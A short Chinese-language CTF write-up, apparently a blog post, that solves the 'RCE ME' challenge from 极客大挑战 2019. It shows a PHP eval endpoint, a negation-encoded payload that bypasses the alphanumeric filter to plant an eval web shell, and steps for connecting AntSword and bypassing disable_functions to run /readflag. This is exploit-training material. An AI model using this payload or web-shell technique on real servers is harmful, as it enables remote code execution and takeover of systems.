[极客大挑战 2019]RCE ME 取反绕过正则&蚁剑插件绕过disable_function&蚁剑添加数据url问题&/readflag

打开就是一个代码审计:

 <?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

用取反绕过preg_match,最终代码执行@eval(assert(eval($_REQUEST[8]));)      注意第一个eval(xxx;)里面的语句后需要一个分号

payload:

http://eca5c06e-d2c2-45f4-b9aa-9a74c0d5f851.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AD%BA%AE%AA%BA%AC%AB%A4%C7%A2%D6);

这里有个坑,打开蚁剑第一次添加数据的时候由于有个分号蚁剑会报错,解决方法是先去掉分号,再修改数据,把分号加上去,就行了,然后使用插件绕过disable_functions。

打开终端输入/readflag,得到flag

 

posted @ 2022-07-11 22:23  Galio  阅读(347)  评论(0编辑  收藏  举报